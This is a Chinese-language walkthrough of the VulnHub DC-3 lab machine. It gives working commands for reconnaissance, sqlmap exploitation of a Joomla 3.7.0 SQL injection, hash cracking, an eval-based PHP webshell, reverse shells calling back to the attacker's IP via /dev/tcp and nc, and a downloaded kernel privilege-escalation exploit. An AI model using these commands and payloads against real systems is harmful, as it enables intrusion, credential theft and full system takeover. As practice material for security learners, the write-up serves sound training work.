本篇文章是DC靶机系列的第三篇,针对的是靶机DC-3,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。
DC-3的下载地址为DC: 3.2 ~ VulnHub。三个地址建议使用磁力下载,比较快。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。
需要说明的是DC-3相较前两个靶机,它只有一个flag,便是最后一个flag,没有多余的提示了。
在VMware加载成功之后显示如下界面:
默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-3靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.179.128)。
2.收集靶机信息
由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下
可判断出靶机的ip为192.168.179.131.接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.179.131
看来只有一个开放端口80,我们访问http://192.168.179.131:80,看看有什么发现
随便点点,没什么发现。有个登陆窗口,此外我们看看网站指纹
发现该网站的CMS使用的是joomla,这个框架很成熟,是php非常常见的CMS框架,看到这儿,第一想法是看一下它的版本号,然后搜索一下是否存在漏洞,而且kali上还存在一个专门针对它的漏洞扫描工具Joomscan。我们抱着试试的心态扫一下,看看有什么发现。
3.漏洞扫描
输入命令行:joomscan --url http://192.168.179.131
有两个收获,第一,joomla的版本号是3.7.0,第二,存在一个后台管理页面http://192.168.179.131/administrator/。我们先访问一下,果然是后台管理页面。
其中这里要说明的时候,很多时候找到一个隐藏的页面没那么容易,拿到上一个登陆页面的时候,我还使用上一篇介绍的网站目录工具爆破了,没有发现什么有效的网页,所以同学们不要着急,渗透本身就是不断尝试、大海捞针的过程。
这个时候已经有两个登陆页面了,显然我们应该把重心放在第二个后台管理页面的账号密码上。而且此时盲目去爆破是下下策(即使我们勇敢的猜测账号很可能是admin),所以我们此时手里只剩一个线索了,就是joomla3.7.0。
接下来我们看看joomla这个版本有什么漏洞信息,有两个办法,一个是搜索引擎搜索;另一个是使用漏洞利用工具搜索,比如searchsploit 。使用百度搜索,果然发现了存在SQL注入漏洞。这个时候参照这些博客测试,我试了,写的都很详细。
这里主要介绍searchsploit,毕竟学习嘛。输入命令行:searchsploit joomla 3.7.0
可以看到第一个也是SQL注入,我们以它作为突破口(感兴趣的同学可以试试第二个,我失败了),接着查看详细的信息
接下来,我们把这个文件下载到本地,由上图可以看到该文件详细路径
输入命令行: cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla1.txt 将其保存为joomla1.txt
打开查看
txt文件提示了使用sqlmap,并且将语句已经生成给我们了,试过搜索漏洞的同学可以看出,和网络搜索的结果是一样的,殊途同归。
4.漏洞利用
接下来我们打开sqlmap,开始注入漏洞,输入
sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
破解出存在5个数据库,我们选择可能性最大的joomladb,继续爆破数据表,命令行为
sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
发现了76个表,用户名和密码很可能存在#__users 这个表里,继续爆破它的字段,这里存在一个习惯,我不喜欢给数据库、表格、字段等字样加上引号,而这个表是带符号的,不加引号可能会有问题。
sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
继续爆破字段,这里选择的是name,username,password三个字段
sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering]
这里得到了用户名为admin,而密码为hash后的值,在网上没找到很明显的joomla的hash文件,因此我们准备暴力解码,使用john工具
将password hash值保存成文本文件hash.txt,接着输入 John hash.txt
解密出来是snoopy,登陆成功
突发奇想,将这个账号密码登陆前端看看
成功,但是屁用没有,那么把精力放在后台管理页面上。没有什么好方法,只能仔细翻看,最后发现templates下存在模板,而模板里的php文件可编辑。
5.上传webshell
接下来要上传webshell,有好几种方式,感兴趣的朋友可以网络上搜索一下,很多
随便打开一个模板,随便打开一个php文件,放入我们的小马,当然放一个就好,我放的多是怕连不上。
@eval($_REQUEST['joomla']); @eval($_POST['joomla']);
然后打开中国蚁剑(在kali上安装中国蚁剑需要几步操作,网上教程不是很全,读者可以看我的这篇博客VMware之kali安装中国蚁剑_xdbzdgx的博客-CSDN博客 )
然后填写信息
添加成功,此时是可以浏览网站目录和打开虚拟终端的。我们在/templates/beez3模板里上传一个反弹shell的文件,记住上传路径,文件由自己创建,本文的文件名为shell1.php
反弹shell内容为
& /dev/tcp/192.168.179.128/4444 0>&1' "); ?> 或者 &1|nc 192.168.1 4444 >/tmp/f');?>
然后kaili机器上开启nc -lvvp 4444监听
使用浏览器访问该文件,http://192.168.179.131/templates/beez3/shell1.php
这个时候脑子突然一抽,当时我在填写小马的时候,直接随便找一个模板中的php文件,写入上面的反弹shell,不就行了嘛!!
6.提权
反弹shell成功,现在已经拿到了权限更大的shell,但是显然还不够大,接下来开始提权root。我们在shell上输入uname -a 查看系统信息。
或者 cat /proc/version
cat /etc/issue
可知当前ubuntu的版本信息,我们接着看看该版本存在什么漏洞
对比搜索引擎搜索该版本漏洞,锁定path为39773.txt的漏洞。查看该文件路径
将其下载到本地,保存为39772.txt,然后打开查看
文件很长,其中看到这里,这里告诉我们破解的工具都保存在exploit.rar里了,并且给了下载链接,我们将其下载(在刚刚反弹过来的shell里)
wget 上面截图的url
但是很容易因网络问题,下载失败,或者随后的解压失败,此时可使用国内的路径下载,国内的路径为
https://gitee.com/aaaddc/exploitdb-bin-sploits/blob/master/bin-sploits/39772.zip
然后解压 unzip 39772.zip
紧接着
解开了exploit.tar文件可以看到有很多的脚本,接着进行如下操作。
./compile.sh ls cd ebpf_mapfd_doubleput_exploit ls
./compile.sh
编译成功,接着提权
./doubleput
等一会显示成功,此时是root权限,打开root目录,发现the-flag.txt.成功!